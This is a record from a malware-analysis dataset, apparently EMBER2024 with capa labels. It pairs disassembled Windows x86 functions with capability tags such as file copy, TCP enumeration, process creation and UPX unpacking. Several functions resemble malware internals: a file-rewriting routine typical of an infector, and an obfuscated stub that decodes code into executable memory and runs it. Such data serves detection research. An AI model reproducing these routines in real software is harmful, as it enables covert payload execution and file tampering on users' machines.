joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4037b8
Capabilities:
Copy file
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
pushal
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x20], 0
push 0x40f23a
push 0x40f12c
push dword [ebp + 8]
call fcn.00402acf
cmp eax, 0
je 0x403a10
push dword [ebp + 8]
call fcn.0040372d
mov dword [ebp - 4], eax
push eax
call fcn.00403791
push 0
push 0x40f12c
push 0x40513e
call fcn.004020a6
push 0
push 0x40f23a
push 0x405134
call fcn.004020a6
lea edx, [ebp - 0x88]
push edx
push 0
push 0
push dword [ebp + 8]
call fcn.00401d4e
test eax, eax
je 0x403a10
mov dword [ebp - 0x8c], eax
push 0x10000
call fcn.00401bf6
test eax, eax
je 0x403a10
mov dword [ebp - 0x18], eax
lea edx, [ebp - 0x60]
push edx
lea edx, [ebp - 0x7c]
push edx
lea edx, [ebp - 0x80]
push edx
lea edx, [ebp - 0x84]
push edx
lea edx, [ebp - 0x6c]
push edx
lea edx, [ebp - 0x78]
push edx
push dword [ebp - 0x8c]
call fcn.00402a56
cmp dword [ebp - 0x84], 0
je 0x403a10
push dword [ebp - 4]
lea edx, [ebp - 0x20]
push edx
lea edx, [ebp - 0xc]
push edx
lea edx, [ebp - 0x10]
push edx
push 0xa6
push dword [ebp - 0x7c]
push dword [ebp - 0x80]
push dword [ebp - 0x6c]
push dword [ebp - 0x84]
push dword [ebp - 0x8c]
call fcn.00403187
push dword [ebp - 0xc]
push 0x40cf2b
call fcn.0040351a
push dword [ebp - 0x10]
push 0x40cf49
call fcn.0040351a
mov dword [ebp - 0x14], eax
push dword [ebp - 0x10]
push dword [ebp - 0x18]
push dword [ebp - 0x7c]
push dword [ebp - 0x80]
push dword [ebp - 0x84]
push dword [ebp - 0x8c]
call fcn.0040353e
push eax
push 0x40cf5d
call fcn.0040351a
cmp eax, dword [ebp - 0xc]
jae 0x403915
jmp 0x403a10
push dword [ebp - 0x7c]
push dword [ebp - 0x80]
push dword [ebp - 0x84]
push dword [ebp - 0x8c]
call fcn.004035ec
test eax, eax
je 0x403a10
mov byte [0x42cfd9], 0
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push 0xa6
push 0x40d404
push dword [ebp - 0x18]
push dword [ebp - 0x14]
push dword [ebp - 0x8c]
call fcn.00402f5f
push eax
push 0x40cf6f
call fcn.0040351a
cmp eax, 0
je 0x403a10
push dword [ebp + 8]
push 0x40cdaf
call fcn.00401bb3
push 0x40f12c
push 0x40cdbf
call fcn.00401bb3
push dword [ebp - 0x14]
call fcn.00401c13
push dword [ebp - 0x18]
call fcn.00401c13
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
push 0x40f12c
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_MoveFileA]
push 0
push dword [ebp + 8]
push 0x40f12c
call dword [sym.imp.kernel32.dll_CopyFileA]
push 0
push 0x42cfd9
push dword [ebp + 8]
push 0x40f12c
call fcn.00402376
push 0
push dword [ebp - 0x88]
push dword [ebp - 0x8c]
push dword [ebp + 8]
call fcn.00401c8b
test eax, eax
je 0x403a10
push dword [ebp - 0x84]
push 0x40f23a
call fcn.00404063
mov dword [ebp - 0xa0], 1
cmp dword [ebp - 0x14], 0
je 0x403a1e
push dword [ebp - 0x14]
call fcn.00401c13
cmp dword [ebp - 0x18], 0
je 0x403a2c
push dword [ebp - 0x18]
call fcn.00401c13
popal
mov eax, dword [ebp - 0xa0]
leave
ret 4
Function at 0x403a56
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
pushal
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
push dword [ebp + 0x10]
push 1
push 6
call dword [sym.imp.kernel32.dll_OpenFileMappingA]
test eax, eax
jne 0x403a92
push 0xc8
call dword [sym.imp.kernel32.dll_Sleep]
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x14
jb 0x403a6b
jmp 0x403b05
mov ebx, eax
mov dword [ebp - 4], 0
push dword [ebp + 0xc]
push 0
push 0
push 6
push ebx
call dword [sym.imp.kernel32.dll_MapViewOfFile]
test eax, eax
jne 0x403ac5
push 0xc8
call dword [sym.imp.kernel32.dll_Sleep]
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x14
jb 0x403a9b
jmp 0x403afe
mov esi, eax
mov edi, dword [ebp + 8]
push 0xc8
call dword [sym.imp.kernel32.dll_Sleep]
push dword [ebp + 0xc]
push esi
push edi
call fcn.00401286
mov dword [esi], 0x21444e45
push 0xc8
call dword [sym.imp.kernel32.dll_Sleep]
push esi
call dword [sym.imp.kernel32.dll_UnmapViewOfFile]
mov dword [ebp - 8], 1
push ebx
call dword [sym.imp.kernel32.dll_CloseHandle]
popal
mov eax, dword [ebp - 8]
leave
ret 0xc
Function at 0x403d40
Capabilities:
List tcp connections and listeners

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x534
mov dword [ebp - 0x534], 0
pushal
mov dword [ebp - 0x2c], 0x413108
lea eax, [ebp - 0x42c]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], 0x411228
mov dword [ebp - 8], 0x42d3d9
mov dword [ebp - 0x10], 0
mov dword [0x40cdab], 0
push 0
push 0x186a0
push 0x413108
call fcn.00401271
push 0
push 0x1000
push 0x42d3d9
call fcn.00401271
push 0
push 0x1000
push 0x40e104
call fcn.00401271
push 0
push 0x400
lea edx, [ebp - 0x42c]
push edx
call fcn.00401271
push 0x1c
call fcn.00401bf6
mov dword [ebp - 0x20], eax
test eax, eax
je 0x403ed5
mov dword [ebp - 0x1c], 0x1c
push 0
push 5
push 2
push 1
lea edx, [ebp - 0x1c]
push edx
push dword [ebp - 0x20]
call dword [sym.imp.iphlpapi.dll_GetExtendedTcpTable]
cmp eax, 0x7a
jne 0x403ed5
push dword [ebp - 0x20]
call fcn.00401c13
push dword [ebp - 0x1c]
call fcn.00401bf6
test eax, eax
je 0x403ed5
mov dword [ebp - 0x20], eax
mov esi, eax
push 0
push 5
push 2
push 1
lea edx, [ebp - 0x1c]
push edx
push dword [ebp - 0x20]
call dword [sym.imp.iphlpapi.dll_GetExtendedTcpTable]
cmp eax, 0
jne 0x403ed5
lodsd eax, dword [esi]
mov ecx, eax
lea edi, [ebp - 0x530]
push eax
push edi
call fcn.004012de
push 0
push edi
push 0x405098
call fcn.004020a6
push ecx
mov eax, dword [esi + 0x14]
push eax
push 0
push 0x410
call dword [sym.imp.kernel32.dll_OpenProcess]
test eax, eax
je 0x403ecc
mov dword [ebp - 0x18], eax
push 0x104
push edi
push 0
push eax
push 2
call fcn.00403a37
push eax
push dword [ebp - 0x18]
call dword [sym.imp.kernel32.dll_CloseHandle]
pop eax
test eax, eax
je 0x403ecc
push edi
push 0x413108
call fcn.004011a2
je 0x403ecc
push edi
lea edx, [ebp - 0x42c]
push edx
call fcn.004011a2
je 0x403ecc
push 0
push edi
push 0x4050a6
call fcn.004020a6
push edi
push dword [ebp - 0x2c]
call fcn.00401150
push edi
call fcn.004012be
inc eax
add dword [ebp - 0x2c], eax
add esi, 0x18
pop ecx
dec ecx
jecxz 0x403ed5
jmp 0x403e58
cmp dword [ebp - 0x20], 0
je 0x403ee3
push dword [ebp - 0x20]
call fcn.00401c13
mov ecx, dword [ebp - 0x2c]
sub ecx, 0x413108
lea esi, [ebp - 0x530]
cmp dword [0x42b938], 9
jne 0x403faa
push ecx
push 0x413108
push esi
call fcn.00401e4c
dec eax
jne 0x403faa
push dword [ebp - 0x24]
push esi
call fcn.00403b70
cmp eax, 1
jne 0x403faa
mov edx, 1
mov dword [ebp - 0xc], 0x40e104
mov ecx, dword [0x40d35a]
mov esi, 0x411228
mov dword [ebp - 4], 0
lea eax, [ebp - 8]
push eax
push edx
push esi
call fcn.00403c2f
cmp eax, 1
jne 0x403f8d
push esi
push 0x40e104
call fcn.0040255e
cmp eax, 1
je 0x403f8d
push esi
push 0x405153
call fcn.00401bb3
push esi
call fcn.004037b8
cmp eax, 1
jne 0x403f8d
push esi
push dword [ebp - 0xc]
call fcn.004025c0
mov dword [ebp - 0xc], eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jae 0x403faa
inc dword [ebp - 4]
push esi
call fcn.004012be
lea esi, [esi + eax + 1]
loop 0x403f42
jmp 0x403faa
popal
cmp dword [ebp - 0x10], 0
je 0x403fc0
call fcn.0040223b
mov dword [ebp - 0x534], 1
mov eax, dword [ebp - 0x534]
leave
ret
Function at 0x403fc8
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x25c
mov dword [ebp - 0x54], 1
mov dword [ebp - 0x10], 1
pushal
lea esi, [ebp - 0x54]
lea edi, [ebp - 0x10]
push 0
push 0x44
push esi
call fcn.00401271
push 0
push 0x10
push edi
call fcn.00401271
mov dword [ebp - 0x54], 0x44
mov eax, dword [ebp + 8]
cmp dword [ebp + 0xc], 0
je 0x404047
push dword [ebp + 8]
lea edx, [ebp - 0x25c]
push edx
call fcn.00401150
lea edx, [ebp - 0x25c]
push edx
call fcn.004012be
lea ecx, [ebp - 0x25c]
mov dword [eax + ecx], 0x20
push dword [ebp + 0xc]
lea edx, [ebp - 0x25c]
push edx
call fcn.00401252
lea eax, [ebp - 0x25c]
push edi
push esi
push 0
push 0
push 0
push 0
push 0
push 0
push eax
push 0
call dword [sym.imp.kernel32.dll_CreateProcessA]
popal
leave
ret 8
Function at 0x4040ab
Capabilities:
Get file attributes
Get file size
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
mov dword [ebp - 0x1c], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x18], pe_nt_image_headers32
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
inc eax
je 0x4040ec
dec eax
mov dword [ebp - 0x18], eax
push pe_nt_image_headers32
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
push 0
push pe_nt_image_headers32
push 4
push 0
push 0
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_CreateFileA]
mov dword [ebp - 0x14], eax
inc eax
je 0x40421c
push 0
push dword [ebp - 0x14]
call dword [sym.imp.kernel32.dll_GetFileSize]
mov esi, eax
mov dword [ebp - 0x10], eax
cmp eax, dword [ebp + 0x14]
jae 0x404130
mov dword [ebp + 0x14], eax
mov dword [ebp - 8], 1
test eax, eax
je 0x40419e
push eax
push 0x40
call dword [sym.imp.kernel32.dll_LocalAlloc]
test eax, eax
je 0x40420a
mov edi, eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push 0
push eax
push esi
push edi
push dword [ebp - 0x14]
call dword [sym.imp.kernel32.dll_ReadFile]
dec eax
jne 0x4041fb
add edi, dword [ebp - 4]
sub esi, dword [ebp - 4]
jne 0x40414a
push 0
push 0
push 0
push dword [ebp - 0x14]
call dword [sym.imp.kernel32.dll_SetFilePointer]
inc eax
je 0x4041fb
mov edi, dword [ebp - 0xc]
mov esi, dword [ebp + 0x14]
lea eax, [ebp - 4]
push 0
push eax
push esi
push edi
push dword [ebp - 0x14]
call dword [sym.imp.kernel32.dll_WriteFile]
dec eax
jne 0x4041fb
add edi, dword [ebp - 4]
sub esi, dword [ebp - 4]
jne 0x404182
mov edi, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
lea eax, [ebp - 4]
push 0
push eax
push esi
push edi
push dword [ebp - 0x14]
call dword [sym.imp.kernel32.dll_WriteFile]
dec eax
jne 0x4041fb
add edi, dword [ebp - 4]
sub esi, dword [ebp - 4]
jne 0x4041a4
cmp dword [ebp - 8], 1
je 0x4041fb
cmp dword [ebp - 0xc], 0
je 0x40420a
mov edi, dword [ebp - 0xc]
add edi, dword [ebp + 0x14]
mov esi, dword [ebp - 0x10]
sub esi, dword [ebp + 0x14]
lea eax, [ebp - 4]
push 0
push eax
push esi
push edi
push dword [ebp - 0x14]
call dword [sym.imp.kernel32.dll_WriteFile]
dec eax
jne 0x4041fb
add edi, dword [ebp - 4]
sub esi, dword [ebp - 4]
jne 0x4041d8
mov dword [ebp - 0x1c], 1
cmp dword [ebp - 0xc], 0
je 0x40420a
push dword [ebp - 0xc]
call dword [sym.imp.kernel32.dll_LocalFree]
push dword [ebp - 0x14]
call dword [sym.imp.kernel32.dll_CloseHandle]
cmp dword [ebp - 0x1c], 0
je 0x40421c
mov dword [ebp - 0x1c], eax
push dword [ebp - 0x18]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
popal
mov eax, dword [ebp - 0x1c]
leave
ret 0x10
Function at 0x406600
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x5000]
push edi
jmp 0x40661a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x406621
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x406610
mov eax, 1
add ebx, ebx
jne 0x406633
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x406628
jne 0x406644
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x406628
xor ecx, ecx
sub eax, 3
jb 0x406658
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4066ca
mov ebp, eax
add ebx, ebx
jne 0x406663
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x406670
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x406694
inc ecx
add ebx, ebx
jne 0x406680
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x406675
jne 0x406691
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x406675
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4066b4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4066a5
jmp 0x406616
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4066b4
add edi, ecx
jmp 0x406616
pop esi
lea edi, [esi + 0x1000]
mov ecx, 0x15
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4066d6
cmp byte [edi], 0
jne 0x4066d6
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4066db
lea edi, [esi + 0x4000]
mov eax, dword [edi]
or eax, eax
je 0x40674a
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x62e0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x6398]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x406708
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x63a0]
or eax, eax
je 0x406744
mov dword [ebx], eax
add ebx, 4
jmp 0x406725
call dword [esi + 0x639c]
mov ebp, dword [esi + 0x63a4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x15f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40677e
sub esp, 0xffffff80
jmp 0x402000
Function at 0x487d40
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x65000]
push edi
or ebp, 0xffffffff
jmp 0x487d62
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x487d69
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x487d58
mov eax, 1
add ebx, ebx
jne 0x487d7b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x487d8c
jne 0x487dab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x487dab
dec eax
add ebx, ebx
jne 0x487d98
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x487d70
add ebx, ebx
jne 0x487da7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x487dfd
xor ecx, ecx
sub eax, 3
jb 0x487dc3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x487e32
sar eax, 1
mov ebp, eax
jmp 0x487dce
add ebx, ebx
jne 0x487dce
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x487d9c
inc ecx
add ebx, ebx
jne 0x487ddc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x487d9c
add ebx, ebx
jne 0x487de9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x487dde
jne 0x487dfa
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x487dde
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x487e1c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x487e0e
jmp 0x487d5e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x487e1c
add edi, ecx
jmp 0x487d5e
pop esi
mov edi, esi
mov ecx, 0x1182
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x487e3a
cmp byte [edi], 0x13
jne 0x487e3a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x487e3f
lea edi, [esi + 0x84000]
mov eax, dword [edi]
or eax, eax
je 0x487eb7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x91a04]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x91a5c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x487e6c
mov ecx, edi
jns 0x487e9b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x91a64]
or eax, eax
je 0x487eb1
mov dword [ebx], eax
add ebx, 4
jmp 0x487e89
call dword [esi + 0x91a60]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x487ee8
cmp al, 0xef
ja 0x487edb
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x487ebd
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x487eca
mov ebp, dword [esi + 0x91a68]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x487f1c
sub esp, 0xffffff80
jmp 0x41f530
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x402bf1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x402c00
pop dword [ebp - 0x44]
mov eax, 0x25a084d0
sub eax, 0x256058d0
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x1287f8aa
sub dword [ebp - 0x54], 0xc435b35f
mov dword [ebp - 0x50], 0x470da7a5
sub dword [ebp - 0x50], 0x14da5b60
mov dword [ebp - 0x4c], 0x2f299654
sub dword [ebp - 0x4c], 0xe2dd5226
mov dword [ebp - 0x48], 0x7d0165d1
sub dword [ebp - 0x48], 0x7d0165d1
lea eax, [ebp - 0x54]
push eax
mov eax, 0xe78047a3
add eax, 0x18c028c1
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x7cd35a4b
sub dword [ebp - 0x54], 0x860f0f5
mov dword [ebp - 0x50], 0x24d9947c
add dword [ebp - 0x50], 0x1c92ccf9
mov dword [ebp - 0x4c], 0x11461638
add dword [ebp - 0x4c], 0x52295634
mov dword [ebp - 0x48], 0x9e7b7f55
sub dword [ebp - 0x48], 0x9e7b7f55
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0xdf67a04d
add eax, 0x20d8d05b
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x3457a
push 0
call eax
mov ecx, 0x4aaace0f
sub ecx, 0x4aaa8f72
mov ebx, eax
mov esi, 0x818b3ce4
sub esi, 0x814a3ce4
add esi, dword [ebp - 0x44]
mov edi, 0x1b8d9c12
xor dword [ebp - 0x38], 0x685108d7
mov edx, dword [esi]
sub edx, edi
sub dword [ebp - 0x30], esi
mov dword [ebx], edx
xor dword [ebp - 0x24], eax
add ebx, 0x79eaa14d
sub ebx, 0x79eaa149
add esi, 4
loop 0x402d1c
add eax, 0x89799fc1
sub eax, 0x8978b27a
xor ebx, ebx
add ebx, eax
add eax, 0xc563c3a3
add eax, 0x3a9c3c62
mov ecx, 0x574fc4d1
sub ecx, 0x570fc4d1
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x40105b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x429004]
jne 0x401065
repz ret
jmp fcn.00401684

Function at 0x40495b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x429004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040382b
and dword [ebp - 0x14], 0
cmp dword [0x42b928], 0
mov dword [ebp - 0x18], eax
jne 0x404a0e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x404ab6
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x404ab6
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x42b928], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x42b92c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x42b930], eax
call edi
push eax
call esi
mov dword [0x42b938], eax
test eax, eax
je 0x404a0e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x42b934], eax
mov eax, dword [0x42b934]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x404a67
cmp dword [0x42b938], ecx
je 0x404a67
push eax
call esi
push dword [0x42b938]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x404a67
test ebx, ebx
je 0x404a67
call edi
test eax, eax
je 0x404a5e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x404a5e
test byte [ebp - 8], 1
jne 0x404a67
or dword [ebp + 0x10], 0x200000
jmp 0x404a9a
mov eax, dword [0x42b92c]
cmp eax, dword [ebp - 0x18]
je 0x404a9a
push eax
call esi
test eax, eax
je 0x404a9a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x404a9a
mov eax, dword [0x42b930]
cmp eax, dword [ebp - 0x18]
je 0x404a9a
push eax
call esi
test eax, eax
je 0x404a9a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x42b928]
call esi
test eax, eax
je 0x404ab6
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x404ab8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040105b
leave
ret
Function at 0x401996
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc
mov edi, dword [ebp + 0xc]
mov ebx, dword [ebp + 0x10]
test ebx, ebx
sete dl
cmp dword [ebp + 8], 0
sete al
mov ecx, 0
or dl, al
jne 0x401ada
lea ecx, [edi*4 + 0xb]
mov edx, 0x2aaaaaab
mov eax, ecx
imul edx
sar edx, 1
mov eax, ecx
sar eax, 0x1f
sub edx, eax
lea edx, [edx*4 + 1]
cmp edx, dword [ebp + 0x14]
jle 0x401a3d
mov dword [esp], 0x6f
call 0x40c300
sub esp, 4
mov ecx, 0
jmp 0x401ada
movzx eax, byte [ecx]
and eax, 3
shl eax, 4
movzx eax, byte [eax + section.25w5hqzz]
mov byte [ebx + 1], al
mov byte [ebx + 2], 0x3d
mov byte [ebx + 3], 0x3d
add ebx, 4
jmp 0x401ad2
movzx eax, byte [ecx + 1]
and eax, 0xf
movzx eax, byte [eax*4 + section.25w5hqzz]
mov byte [ebx + 2], al
mov byte [ebx + 3], 0x3d
add ebx, 4
jmp 0x401ad2
mov esi, 0
mov ecx, dword [ebp + 8]
cmp esi, edi
jge 0x401ad2
movzx eax, byte [ecx]
shr al, 2
movzx eax, al
movzx eax, byte [eax + section.25w5hqzz]
mov byte [ebx], al
mov eax, edi
sub eax, esi
cmp eax, 1
je 0x4019fc
movzx edx, byte [ecx]
and edx, 3
shl edx, 4
movzx eax, byte [ecx + 1]
shr al, 4
movzx eax, al
or edx, eax
movzx eax, byte [edx + section.25w5hqzz]
mov byte [ebx + 1], al
mov eax, edi
sub eax, esi
cmp eax, 2
je 0x401a1f
movzx edx, byte [ecx + 1]
and edx, 0xf
shl edx, 2
movzx eax, byte [ecx + 2]
shr al, 6
movzx eax, al
or edx, eax
movzx eax, byte [edx + section.25w5hqzz]
mov byte [ebx + 2], al
movzx eax, byte [ecx + 2]
and eax, 0x3f
movzx eax, byte [eax + section.25w5hqzz]
mov byte [ebx + 3], al
add esi, 3
add ecx, 3
add ebx, 4
cmp esi, edi
jl 0x401a4d
mov byte [ebx], 0
mov ecx, 1
mov eax, ecx
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret